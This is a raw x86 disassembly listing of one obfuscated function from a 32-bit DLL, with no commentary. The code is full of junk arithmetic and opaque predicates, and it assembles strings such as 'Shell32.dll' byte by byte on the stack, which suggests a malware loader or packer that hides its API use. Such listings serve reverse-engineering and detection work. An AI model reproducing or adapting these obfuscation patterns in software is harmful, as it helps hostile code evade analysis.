mov dword [0x10010078], 0x87
mov dword [esp + 0x58], eax
mov ax, word [0x1001008c]
mov dword [0x1001007c], 0
mov byte [esp + 0x11a], 0x6c
mov byte [esp + 0x12], 0
mov ecx, dword [esp + 0x24]
mov byte [0x10010003], 0x2d
add ecx, 0xfeeb02d
movzx eax, byte [0x10010003]
mov dword [esp + 0x30], edx
mov dword [esp + 0xac], edi
mov byte [esp + 0x112], 0x72
cmp eax, ecx
jne 0x1000a218
mov ecx, dword [esp + 0x8c]
movsx eax, word [section..data]
add ecx, 0x29
cmp eax, ecx
jne 0x1000a218
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x20]
mov eax, dword [0x10010030]
mov eax, dword [esp + 0xcc]
mov ecx, dword [0x10010018]
not eax
mov esi, dword [0x1001001c]
cdq
or eax, ecx
mov edi, edx
mov dword [esp + 0xd0], eax
or edi, esi
mov ax, word [esp + 0x98]
cwde
sub eax, 0x97
cdq
cmp edi, edx
jb 0x1000a174
ja 0x1000a16d
cmp dword [esp + 0xd0], eax
jbe 0x1000a174
mov esi, 0xfffffffe
jmp 0x1000a177
or esi, 0xffffffff
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0xcc]
cwde
sub ecx, eax
je 0x1000a1ab
movzx eax, word [0x100100c4]
cdq
cmp dword [0x1001002c], edx
ja 0x1000a1ab
jb 0x1000a1a4
cmp dword [0x10010028], eax
jae 0x1000a1ab
mov eax, 0xfffffffe
jmp 0x1000a1ae
or eax, 0xffffffff
cmp esi, eax
jge 0x1000a289
mov edi, dword [0x10010004]
mov eax, dword [esp + 0x5c]
neg edi
mov ecx, dword [esp + 0x38]
sbb edi, edi
movsx eax, al
inc edi
cdq
add edi, dword [0x10010008]
xor esi, esi
not edi
mov byte [esp + 0x5c], 1
sub edi, eax
mov eax, dword [esp + 0x3c]
sbb esi, edx
add ecx, edi
adc eax, esi
or ecx, eax
je 0x1000a1f1
mov byte [esp + 0x5c], 0
mov ecx, dword [0x10010070]
sub ecx, dword [0x10010098]
mov eax, dword [0x10010070]
mov edx, dword [esp + 0x30]
add eax, ecx
mov edi, dword [esp + 0xac]
mov esi, dword [esp + 0x18]
mov dword [0x10010070], eax
mov ecx, dword [esp + 0x58]
mov al, byte [0x100d60e0]
mov byte [0x10010003], 0x2d
mov byte [esp + 0x12], al
xor eax, eax
cmp esi, dword [0x10010080]
jne 0x1000a245
mov dword [esp + 0xcc], eax
cmp eax, dword [0x10010084]
je 0x1000a250
mov dword [esp + 0xcc], 1
xor eax, eax
cmp esi, 0x4b
setne al
cmp dword [esp + 0xcc], eax
jbe 0x1000a318
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0xd0], esi
mov esi, dword [esp + 0x18]
cmp eax, edx
jne 0x1000a2c2
cmp dword [esp + 0xd0], edi
jne 0x1000a2c2
xor edx, edx
jmp 0x1000a2c7
cmp dword [esp + 0x20], 0
mov ecx, dword [esp + 0x58]
mov edi, dword [esp + 0xac]
mov esi, dword [esp + 0x18]
je 0x1000a2b9
movzx eax, cx
mov edx, 0x7697
mov dword [esp + 0x64], eax
mov ax, word [0x100100c4]
add ax, dx
mov word [esp + 0x14], ax
mov edx, dword [esp + 0x30]
jmp 0x1000a21c
mov edx, 1
mov eax, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
cmp eax, 0x50
jne 0x1000a2dc
test edi, edi
jne 0x1000a2dc
xor eax, eax
jmp 0x1000a2e1
mov eax, 1
mov edi, dword [esp + 0x90]
cmp edx, eax
jae 0x1000a2f9
mov eax, dword [esp + 0x20]
sar eax, 3
mov byte [esp + 0x5c], al
jmp 0x1000a33e
movsx eax, di
imul eax, eax, 0xb82d
mov dword [0x10010070], eax
movsx eax, word [0x10010020]
imul eax, ecx
mov dword [0x10010098], eax
jmp 0x1000a33e
movsx eax, word [0x10010068]
mov edi, dword [esp + 0x90]
sub eax, 0xd868
mov dword [esp + 0x58], eax
mov ax, word [0x1001000c]
add ax, dx
mov word [0x1001000c], ax
mov eax, dword [esp + 0x94]
mov edx, dword [esp + 0x94]
xor dl, al
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x94]
sub dl, al
mov eax, dword [esp + 0x178]
add cl, dl
movsx edx, al
mov eax, dword [esp + 0x178]
movsx ecx, cl
imul edx, ecx
movsx ecx, dl
movsx edx, al
mov eax, dword [esp + 0x1a8]
imul edx, ecx
movsx eax, al
movsx ecx, dl
xor edx, edx
imul eax, ecx
mov cl, 0x6e
movsx eax, al
imul eax, eax, 0x70
sub cl, al
mov byte [esp + 0x113], cl
movsx ecx, word [esp + 0x14]
mov eax, dword [esp + 0x20]
cmp eax, ecx
mov eax, dword [esp + 0x20]
setl dl
xor ecx, ecx
mov cl, 1
cmp edx, ecx
jne 0x1000a3cf
movzx eax, word [0x100100b8]
imul eax, eax, 0x860b2364
mov dword [0x10010070], eax
mov ecx, dword [0x10010070]
movsx eax, word [0x10176248]
add ecx, eax
mov byte [esp + 0x119], 0x64
mov byte [esp + 0x111], 0x65
mov byte [esp + 0x117], 0x32
mov dword [0x10010070], ecx
cmp dword [esp + 0x20], 0
je 0x1000a40c
mov eax, dword [esp + 0x5c]
movsx eax, al
jmp 0x1000a411
mov eax, dword [0x10010098]
mov ecx, dword [esp + 0x8c]
cdq
mov dword [0x10010084], edx
mov edx, 1
mov dword [0x10010080], eax
movzx eax, byte [0x10010013]
sub edx, eax
mov word [0x10182218], cx
imul edx, ecx
mov byte [esp + 0x118], 0x2e
mov byte [esp + 0x114], 0x65
mov dword [0x10010038], 0xd82b
mov dword [0x1001003c], 0
mov ecx, dword [esp + 0x24]
mov eax, dword [0x10010038]
add ecx, 0xd82b
mov dword [esp + 0x54], edx
mov edx, dword [0x1001003c]
cmp eax, ecx
jne 0x1000a485
test edx, edx
jne 0x1000a485
mov al, byte [esp + 0x13]
mov al, byte [0x100100b8]
mov ecx, 0x1950
xor esi, dword [esp + 0x64]
add al, 0xf
mov dword [0x10010038], 0xd82b
mov dword [esp + 0x8c], eax
movzx eax, byte [0x10010003]
add ax, cx
mov dword [0x1001003c], 0
mov word [0x10010010], ax
mov word [0x1001008c], si
mov edx, dword [0x10010050]
mov esi, dword [0x10010054]
mov eax, dword [0x10010050]
sub edx, eax
mov ecx, dword [0x10010054]
sbb esi, ecx
mov dword [0x10010050], edx
mov dword [0x10010054], esi
mov eax, dword [esp + 0x164]
sub al, byte [esp + 0x164]
mov byte [esp + 0x11c], al
mov eax, dword [esp + 0x7c]
add byte [esp + 0x5c], al
mov al, byte [esp + 0x54]
sub al, 0x3c
mov byte [esp + 0x102], 0x6c
mov byte [0x10010012], al
mov al, byte [0x100100bc]
add byte [0x1001000e], al
cmp word [0x10010010], 0
mov byte [esp + 0x100], 0x64
je 0x1000a552
mov al, byte [esp + 0x11]
mov cl, byte [esp + 0x11]
add cl, al
add cl, byte [esp + 0x160]
mov byte [esp + 0x11], cl
jmp 0x1000a566
mov dword [0x10010018], 8
mov dword [0x1001001c], 0
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x168]
xor cl, al
mov al, 0x6c
sub al, cl
mov byte [esp + 0xfc], al
mov dword [0x100100ac], 0xe9fe00b6
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
add ecx, 0x872b2c0e
movsx eax, byte [0x10010012]
cdq
adc esi, 0x75e13
cmp eax, ecx
jne 0x1000a60e
cmp edx, esi
jne 0x1000a60e
mov edi, 0x3052
movzx ecx, byte [esp + 0x13]
mov eax, dword [0x10010070]
add eax, ecx
cmp eax, 1
jne 0x1000a607
mov eax, dword [esp + 0x8c]
movzx eax, al
add ax, di
add word [0x10010088], ax
mov dword [0x100100ac], 0xe9fe00b6
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
add ecx, 0x872b2c0e
movsx eax, byte [0x10010012]
cdq
adc esi, 0x75e13
cmp eax, ecx
jne 0x1000a607
cmp edx, esi
je 0x1000a5b4
mov edi, dword [esp + 0x90]
push ecx
call fcn.100014a0
add esp, 4
test al, al
jne 0x1000a635
mov ecx, dword [0x10010090]
mov eax, dword [0x10010094]
or ecx, eax
je 0x1000a635
mov eax, 1
mov word [0x100100c0], ax
mov eax, dword [esp + 0x16c]
mov eax, dword [esp + 0x170]
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0x16c]
mov eax, dword [esp + 0x170]
mov al, byte [0x1001000f]
mov byte [esp + 0xff], 0x2e
mov byte [0x10010003], al
mov byte [esp + 0xf9], 0x68
mov byte [esp + 0x11], 0x8f
mov byte [esp + 0xf8], 0x53
movsx edi, di
mov dword [0x10010018], 0xa7fc85ac
mov dword [0x1001001c], 0x9b095
mov ecx, dword [0x10010018]
mov esi, dword [0x1001001c]
add ecx, dword [esp + 0x54]
movsx eax, byte [0x10010014]
cdq
adc esi, 0
cmp eax, ecx
jne 0x1000a759
cmp edx, esi
jne 0x1000a759
sub esp, 0x28
call fcn.10001d00
xor edx, edx
mov dword [esp + 0x84], eax
add esp, 0x28
cmp al, 0x12
setle dl
xor ecx, ecx
test al, al
setle cl
cmp ecx, edx
jne 0x1000a70f
mov ax, word [0x1001008c]
mov ecx, 0x67f5
add ax, cx
mov dword [0x10010028], 1
mov word [0x1001008c], ax
mov dword [0x1001002c], 0
jmp 0x1000a738
movsx eax, word [0x100100c0]
mov ecx, dword [esp + 0x60]
imul ecx, eax
xor eax, eax
sub ecx, edi
cmp ecx, dword [0x10010008]
setne al
add eax, 0x96
not ax
mov word [0x10010088], ax
mov ecx, dword [esp + 0x54]
mov eax, dword [0x10010018]
add ecx, 0xc4ad14a4
mov edx, dword [0x1001001c]
cmp eax, ecx
jne 0x1000a759
test edx, edx
je 0x1000a682
movzx eax, word [0x10010088]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x174]
mov ecx, dword [esp + 0x174]
xor cl, al
mov byte [esp + 0xfd], 0x33
mov al, 0x6c
mov byte [esp + 0x101], 0x6c
sub al, cl
cmp dword [esp + 0x20], 0
mov byte [esp + 0xfb], al
jne 0x1000a7c1
mov ax, word [0x100100c0]
sar ax, 3
cwde
cdq
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edx
mov dword [0x10010018], 0x75e42ea
mov dword [0x1001001c], 0x95737
movsx eax, word [esp + 0x14]
not eax
mov byte [esp + 0xfa], 0x65
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [esp + 0x64]
movzx eax, ax
not eax
cdq
add ecx, eax
movsx eax, byte [0x10010012]
adc esi, edx
sub ecx, dword [str.Ep_M]
cdq
sbb esi, dword [0x10010064]
or eax, ecx
or edx, esi
or eax, edx
jne 0x1000a808
mov eax, 1
xor ecx, ecx
jmp 0x1000a822
xorps xmm0, xmm0
movlpd qword [esp + 0xe0], xmm0
mov ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0xe0]
mov dword [0x10010050], eax
mov dword [0x10010054], ecx
movzx eax, byte [esp + 0x12]
mov esi, dword [esp + 0x48]
mov edi, dword [esp + 0x4c]
cdq
sub esi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
sbb edi, edx
add eax, esi
mov dword [esp + 0x48], eax
mov esi, 0x1297
adc ecx, edi
mov edi, dword [esp + 0x58]
mov dword [esp + 0x4c], ecx
nop dword [eax]
movsx eax, word [esp + 0x14]
cmp eax, edi
mov ax, word [esp + 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp ax, 0x3b
setge cl
cmp edx, ecx
ja 0x1000a88e
mov byte [esp + 0x12], 0x22
mov dword [esp + 0x94], 0x67aeafcb
jmp 0x1000a89f
mov eax, dword [esp + 0x8c]
movzx eax, al
shr eax, 2
mov dword [esp + 0x60], eax
sub esi, 1
jne 0x1000a860
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0xc8]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0xc8]
mov eax, dword [esp + 0xd4]
movzx eax, byte [0x1001000f]
mov byte [esp + 0xfe], 0x32
mov byte [esp + 0x103], 0
cmp edi, eax
jae 0x1000a984
mov eax, dword [esp + 0x38]
sub esp, 0x30
mov ecx, dword [esp + 0x6c]
call fcn.10001000
add esp, 0x30
mov word [0x100100b8], ax
test ax, ax
jne 0x1000a939
cmp byte [0x10010014], al
je 0x1000a929
mov ax, word [0x1001000c]
mov eax, dword [esp + 0x24]
add eax, 0xffff08d6
add eax, dword [esp + 0x94]
mov dword [esp + 0x24], eax
jmp 0x1000a9c0
mov al, byte [0x10010098]
sub al, 0x3f
mov byte [esp + 0x11], al
jmp 0x1000a9c0
mov ecx, dword [0x100100a0]
mov eax, dword [0x100100a4]
or ecx, eax
jne 0x1000a94c
mov dl, 1
jmp 0x1000a94e
xor dl, dl
cmp word [0x10010010], 0
mov cl, byte [esp + 0x30]
sete al
add dl, byte [0x10010058]
xor cl, al
movzx eax, dl
movzx ecx, cl
imul ecx, eax
mov ax, word [0x10010010]
movzx eax, al
movzx ecx, cl
imul eax, ecx
mov byte [0x10010013], al
jmp 0x1000a9c0
mov ecx, dword [0x10010050]
mov eax, dword [0x10010054]
not ecx
not eax
or ecx, eax
je 0x1000a9c0
mov eax, dword [esp + 0x7c]
or eax, dword [esp + 0xb0]
je 0x1000a9c0
mov al, byte [esp + 0x12]
mov cl, byte [esp + 0x11]
movzx eax, al
movzx ecx, cl
imul ecx, eax
mov byte [0x10010013], 0xfa
mov byte [esp + 0x12], cl
mov al, byte [esp + 0x13]
sub esp, 0x28
mov ax, word [0x100100a8]
mov ax, word [0x10010068]
mov byte [esp + 0x130], 0x61
mov byte [esp + 0x133], 0x2e
call fcn.100012f0
add esp, 0x28
mov dword [0x10010070], eax
cmp dword [0x10010070], 0
jl 0x1000aa91
cmp dword [0x100100ac], 0
jne 0x1000ab0b
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
cmp eax, 0xffffffff
jb 0x1000ab0b
ja 0x1000aa29
cmp ecx, 0xffffff68
jbe 0x1000ab0b
cmp dword [esp + 0xa0], 0
mov esi, dword [esp + 0xac]
je 0x1000aa4e
mov eax, dword [esp + 0x30]
mov dword [0x10010078], eax
mov dword [0x1001007c], esi
jmp 0x1000ab12
cmp byte [esp + 0x8c], 0
je 0x1000ab12
movzx eax, byte [0x1001000e]
mov ecx, dword [0x10010030]
sub ecx, eax
mov eax, dword [0x10010030]
or eax, ecx
mov ecx, 0xdc
mov dword [0x10010030], eax
mov eax, dword [esp + 0x5c]
cbw
sub ax, cx
movzx eax, ax
mov dword [esp + 0x64], eax
jmp 0x1000ab12
cmp dword [0x10010004], 0
jg 0x1000ab0b
mov eax, dword [esp + 0x8c]
movzx eax, al
cmp word [0x100100b0], ax
je 0x1000ab0b
mov eax, dword [esp + 0x90]
xor ecx, ecx
movzx edx, byte [0x1001000f]
cwde
xor edx, eax
mov ax, word [0x100100a8]
push dword [0x1001007c]
not edx
sub edx, dword [0x10010008]
test ax, ax
movsx eax, word [section..data]
push dword [0x10010078]
sete cl
add eax, ecx
imul eax, edx
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0xc0]
cwde
cdq
push edx
push eax
call fcn.1000e790
mov dword [0x10010018], eax
mov dword [0x1001001c], edx
mov esi, dword [esp + 0xac]
movzx eax, byte [esp + 0x13]
cmp word [0x100100c4], ax
mov byte [esp + 0x104], 0x53
sbb ecx, ecx
neg ecx
cmp word [0x100100c4], 0x32
sbb eax, eax
neg eax
cmp ecx, eax
jae 0x1000ab75
mov ecx, dword [0x10010090]
mov eax, dword [0x10010094]
inc ecx
imul ecx, dword [0x10010058]
mov edx, dword [0x10010050]
mov eax, dword [0x10010054]
mov eax, edi
not eax
sub ecx, dword [0x10010080]
add edx, ecx
mov ecx, dword [0x10010004]
imul ecx, eax
or ecx, edx
mov dword [0x10010044], ecx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x54]
add eax, 0x48b9
mov word [0x1001006c], ax
mov al, byte [esp + 0x11]
mov byte [esp + 0x109], 0x70
mov byte [esp + 0x10e], 0x6c
mov dword [0x10010078], 0xc4fadc62
mov dword [0x1001007c], 0x3774b
test ecx, ecx
jne 0x1000ac31
movzx eax, byte [0x10010015]
mov ecx, 0xb5757b7f
cmp eax, ecx
jne 0x1000ac2d
movzx eax, byte [esp + 0x11]
mov edx, dword [esp + 0x64]
cmp ax, dx
jne 0x1000ac0e
cmp byte [esp + 0x11], 0
je 0x1000abf7
cmp word [0x10010020], 0
mov ecx, dword [esp + 0x54]
jne 0x1000ac31
mov eax, dword [esp + 0x20]
mov word [0x100100b0], ax
jmp 0x1000ac31
movzx eax, byte [0x1001000e]
mov ecx, 0x7477
add ax, cx
mov word [0x1001008c], ax
jmp 0x1000ac2d
cmp dword [esp + 0x20], 0
je 0x1000ac2d
mov eax, dword [esp + 0x8c]
mov ecx, 0xffffa6c0
movzx eax, al
xor ax, cx
mov word [0x1001000c], ax
mov ecx, dword [esp + 0x54]
mov eax, dword [esp + 0xdc]
sub al, 0x36
mov dword [0x10010078], 0xc4fadc62
add al, byte [esp + 0xa4]
mov byte [0x10010013], al
mov al, byte [0x10010028]
sub al, 0x34
mov dword [0x1001007c], 0x3774b
mov byte [0x1001000e], al
mov eax, dword [esp + 0xa0]
cmp eax, dword [esp + 0x94]
jbe 0x1000aca5
push 0
push 0xc8
push esi
push dword [esp + 0x3c]
call fcn.1000e790
or eax, edx
jne 0x1000ac90
lea ecx, [eax + 1]
jmp 0x1000ac92
xor ecx, ecx
movsx eax, word [0x10010020]
imul eax, ecx
not eax
mov dword [0x10010040], eax
jmp 0x1000acce
test ecx, ecx
je 0x1000acce
movzx eax, byte [esp + 0x11]
xor ecx, ecx
mov edx, dword [0x10010030]
xor edx, eax
mov eax, dword [esp + 0x20]
cmp edx, eax
sete cl
mov dword [0x10010004], ecx
mov byte [0x10010015], 0
mov byte [esp + 0x106], 0x6c
nop word [eax + eax]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
add ecx, 0xa4
mov eax, dword [0x10010018]
mov esi, dword [0x1001001c]
adc edx, 0
mov byte [0x10010003], 0xa4
cmp eax, ecx
jne 0x1000ad45
cmp esi, edx
jne 0x1000ad45
movzx eax, byte [0x1001000f]
xor ecx, ecx
cmp word [section..data], cx
sete cl
cmp eax, ecx
je 0x1000ad27
mov al, byte [0x10010015]
movzx ecx, byte [esp + 0x13]
mov eax, dword [0x10010018]
sub ecx, 0x35c2f1fe
mov edx, dword [0x1001001c]
cmp eax, ecx
jne 0x1000ad45
test edx, edx
je 0x1000ace0
mov eax, dword [0x1000f040]
movq xmm0, qword [str.bad_allocation]
mov dword [esp + 0x1b8], eax
movzx eax, word [0x1000f044]
mov word [esp + 0x1bc], ax
mov al, byte [0x1000f046]
mov byte [esp + 0x1be], al
lea eax, [esp + 0x1b0]
push eax
movq qword [esp + 0x1b4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movups xmm0, xmmword [str.The_request_to_the]
mov byte [esp + 0x11], al
mov eax, dword [0x1000f164]
mov dword [esp + 0x290], eax
movzx eax, word [0x1000f168]
movups xmmword [esp + 0x270], xmm0
mov word [esp + 0x294], ax
lea eax, [esp + 0x270]
movups xmm0, xmmword [0x1000f154]
push eax
mov byte [esp + 0x10e], 0x69
movups xmmword [esp + 0x284], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x60], eax
mov byte [esp + 0x10c], 0x64
call fcn.10001a90
movsx esi, word [0x10010010]
mov ecx, dword [esp + 0x20]
cwde
cdq
mov dword [esp + 0x18], eax
mov dword [esp + 0x7c], edx
add ecx, esi
je 0x1000ae34
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
mov eax, 0x3ae1
mov dword [0x100100a0], 0xb099
sub ax, cx
mov dword [0x100100a4], 0
add word [esp + 0x98], ax
sub esp, 8
mov byte [esp + 0x10d], 0x68
call fcn.10001ea0
add esp, 8
mov byte [esp + 0x12], al
cmp dword [0x10010070], 0
jne 0x1000ae5f
mov al, byte [0x10010013]
sub al, 0x69
mov dword [esp + 0x74], eax
mov edx, dword [esp + 0xc4]
add dl, byte [esp + 0xc4]
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xd8]
mov edi, dword [esp + 0x18]
xor cl, al
mov esi, dword [esp + 0x7c]
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov eax, edi
mov byte [esp + 0x107], 0x77
add cl, 0x6c
or eax, esi
mov byte [esp + 0x10d], cl
jne 0x1000aeb3
mov eax, dword [0x10010070]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
sub esp, 0x30
mov dword [0x10010058], 0x2ffb21aa
mov dword [esp + 0x108], 0xf456
mov dword [esp + 0x10c], 0
call fcn.10001000
add esp, 0x30
mov word [0x100100c0], ax
cmp word [0x100100c0], 0
jne 0x1000b016
movsx eax, word [0x100100b4]
mov esi, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
cdq
cmp edx, ecx
ja 0x1000af13
jb 0x1000af0c
cmp eax, esi
jae 0x1000af13
mov ecx, 1
jmp 0x1000af15
xor ecx, ecx
xor eax, eax
cmp word [0x100100b4], 1
setl al
cmp ecx, eax
mov ecx, dword [esp + 0x38]
jne 0x1000af43
mov eax, dword [esp + 0x54]
sub cl, 0x17
mov dword [0x10010294], eax
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x13], cl
jmp 0x1000b0a6
mov eax, dword [esp + 0x3c]
or ecx, eax
je 0x1000af9b
mov eax, dword [0x10010030]
mov ecx, dword [esp + 0x20]
add eax, 0x4bd7
mov edx, dword [0x100100a0]
movzx eax, ax
imul ecx, eax
mov eax, dword [0x100100a4]
sub cx, word [0x10010020]
movzx ecx, cx
add dx, cx
mov cx, word [0x100100a8]
movzx eax, dx
add cx, ax
mov eax, 0x646f
add cx, ax
not cx
mov word [0x100100c0], cx
jmp 0x1000b0a6
cmp word [0x100100c0], 0
je 0x1000afca
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov byte [0x10010015], cl
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
sub ecx, 0xeee
mov dword [esp + 0x20], ecx
jmp 0x1000b0a6
movsx ecx, word [0x100100a8]
xor edx, edx
movzx eax, byte [0x1001000f]
cmp ecx, eax
movzx eax, word [0x10010088]
setge dl
cmp edx, eax
mov edx, dword [esp + 0x5c]
je 0x1000b0aa
movsx ax, dl
sub word [0x1001006c], ax
mov ax, word [0x100100b4]
add ax, ax
sub ax, word [esp + 0x30]
mov word [0x100100b4], ax
jmp 0x1000b0aa
mov eax, dword [esp + 0x8c]
movsx ecx, word [esp + 0x14]
movzx eax, al
not eax
sub eax, ecx
cdq
cmp edx, esi
jb 0x1000b060
ja 0x1000b034
cmp eax, edi
jb 0x1000b060
mov eax, dword [0x10010008]
xor ecx, ecx
mov edx, dword [esp + 0x5c]
add eax, 0xffffffca
movzx eax, ax
test dl, dl
mov dword [esp + 0x90], eax
movsx eax, byte [0x10010012]
sete cl
add ecx, eax
mov dword [esp + 0x54], ecx
jmp 0x1000b0aa
mov eax, dword [esp + 0x64]
movzx ecx, byte [esp + 0x12]
movzx eax, ax
sub ecx, eax
movzx eax, word [0x100100b0]
cmp eax, ecx
je 0x1000b0a6
mov esi, dword [esp + 0x48]
mov eax, dword [esp + 0x90]
mov edi, dword [esp + 0x4c]
cwde
cdq
sub esi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
sbb edi, edx
add eax, esi
mov dword [esp + 0x48], eax
adc ecx, edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x4c], ecx
mov edx, dword [esp + 0x5c]
mov byte [esp + 0x10f], 0
mov esi, 0x1c7
nop word [eax + eax]
movzx eax, byte [0x10010015]
imul eax, eax, 0x64
mov byte [esp + 0x12], al
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
or ecx, eax
movzx eax, byte [esp + 0x12]
jne 0x1000b0e2
movsx eax, dl
mov dword [0x10010030], eax
sub esi, 1
jne 0x1000b0c0
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0x17c]
xor ecx, eax
mov dword [0x10010008], 0xbf2f5c6d
mov eax, 0x2e
sub eax, ecx
mov ecx, dword [esp + 0x24]
add ecx, dword [0x10010008]
mov word [esp + 0x19c], ax
movzx eax, byte [0x10010013]
cmp eax, ecx
jne 0x1000b166
nop word [eax + eax]
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add ecx, edx
add eax, ecx
mov dword [esp + 0x24], eax
mov eax, dword [0x100100bc]
lea ecx, [eax + eax]
movsx eax, word [esp + 0x14]
add eax, ecx
mov dword [0x100100bc], eax
mov al, byte [esp + 0x13]
mov ax, word [0x100100a8]
mov ecx, dword [esp + 0x58]
mov eax, ecx
xor eax, 0x39
mov dword [0x1008beb0], ecx
mov dword [0x10010070], eax
mov eax, 0x74
mov cl, byte [esp + 0x12]
mov word [esp + 0x1a2], ax
xor eax, eax
test cl, cl
mov dword [0x1008beb4], 0
movsx ecx, word [esp + 0x14]
sete al
sub eax, ecx
cdq
mov ecx, eax
mov esi, edx
movzx eax, byte [0x1001000f]
cdq
xor eax, edi
mov edi, dword [esp + 0x7c]
xor edx, edi
not eax
add eax, ecx
not edx
adc edx, esi
or eax, edx
jne 0x1000b1c9
lea edx, [eax + 1]
jmp 0x1000b1cb
xor edx, edx
movzx eax, word [0x100100b0]
mov esi, 0x1ce
mov ecx, dword [esp + 0x58]
sub ax, cx
mov ecx, dword [esp + 0x90]
sub ax, cx
mov ecx, 0xba9
sub ax, cx
mov ecx, 0x456
xor ax, dx
not ax
movzx eax, ax
mov dword [esp + 0x78], eax
mov eax, 0x70
mov word [esp + 0x19a], ax
mov eax, dword [0x10010030]
sub eax, 0x3477
movzx eax, ax
mov dword [esp + 0xb8], eax
mov eax, 0x64
mov word [esp + 0x194], ax
movzx eax, byte [0x10010013]
add eax, eax
mov dword [esp + 0x24], eax
mov eax, 0x65
mov word [esp + 0x196], ax
mov eax, dword [esp + 0x60]
dec eax
mov dword [esp + 0x60], eax
movzx eax, word [0x10010010]
sub ax, cx
mov ecx, dword [esp + 0x18]
mov word [0x100100a8], ax
mov eax, 0x74
mov word [esp + 0x19e], ax
mov eax, dword [esp + 0x20]
xor eax, 0xdd
mov dword [0x10010004], eax
movzx eax, word [0x100100c4]
add dword [0x10010058], eax
mov eax, 0x78
mov word [esp + 0x1a0], ax
nop dword [eax]
mov eax, dword [0x10010040]
cmp ecx, eax
jne 0x1000b2b1
test edi, edi
jne 0x1000b2b1
xor edx, edx
jmp 0x1000b2b6
mov edx, 1
cmp ecx, 0x14
jne 0x1000b2c3
test edi, edi
jne 0x1000b2c3
xor eax, eax
jmp 0x1000b2c8
mov eax, 1
cmp edx, eax
ja 0x1000b2e1
mov eax, dword [esp + 0x98]
add eax, 0xfffffde4
movzx edx, ax
mov dword [esp + 0x78], edx
jmp 0x1000b310
cmp dword [0x10010040], 0
jne 0x1000b310
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add ecx, edx
add eax, ecx
mov dword [0x100100bc], 0x7a2b
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x60], eax
mov al, byte [esp + 0x12]
inc al
mov byte [esp + 0x12], al
sub esi, 1
jne 0x1000b2a0
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x180]
xor ecx, eax
mov eax, dword [esp + 0x184]
xor eax, ecx
mov ecx, dword [esp + 0x184]
mov edx, dword [esp + 0x9c]
xor ecx, eax
mov eax, dword [esp + 0x9c]
xor edx, ecx
xor eax, edx
mov ecx, 0x65
sub ecx, eax
mov word [esp + 0x198], cx
movzx ecx, word [0x100100c4]
movsx eax, byte [0x10010012]
add eax, ecx
cdq
mov dword [0x10010090], eax
mov dword [0x10010094], edx
mov al, byte [esp + 0x13]
mov edx, dword [esp + 0x58]
xor al, 0x95
movzx eax, al
mov word [0x10010068], ax
xor eax, eax
mov word [esp + 0x1a4], ax
movsx eax, word [0x10010010]
cmp eax, edx
jae 0x1000b3f2
mov al, byte [esp + 0x11]
cmp byte [esp + 0x13], 0
sete cl
test edx, edx
sete al
add cl, al
movzx eax, byte [0x10010012]
movzx ecx, cl
imul ecx, eax
movzx eax, cl
imul ecx, eax, 0xfd
mov al, dl
add al, byte [esp + 0x74]
neg al
and cl, al
movzx eax, byte [esp + 0x12]
cdq
xor dword [str.Ep_M], eax
xor dword [0x10010064], edx
mov dword [esp + 0x8c], ecx
mov eax, dword [0x100100ac]
xor eax, dword [esp + 0x54]
mov byte [esp + 0xf1], 0x74
mov dword [0x100100ac], eax
movsx eax, word [0x10010068]
imul eax, eax, 0x84
cmp dword [0x10010058], 0
mov byte [esp + 0xef], 0x45
cdq
mov dword [0x10010028], eax
mov dword [0x1001002c], edx
je 0x1000b47f
sub esp, 0x30
call fcn.10001000
mov dword [esp + 0x50], eax
add esp, 0x30
mov ax, word [esp + 0x14]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov ecx, 0x7ac8
movsx eax, byte [0x10010014]
sub ax, cx
mov word [esp + 0x14], ax
mov eax, dword [0x10010018]
mov ecx, dword [0x1001001c]
not eax
not ecx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
jmp 0x1000b4ef
mov ecx, dword [esp + 0x58]
cmp ecx, dword [0x10010008]
movsx eax, word [esp + 0x14]
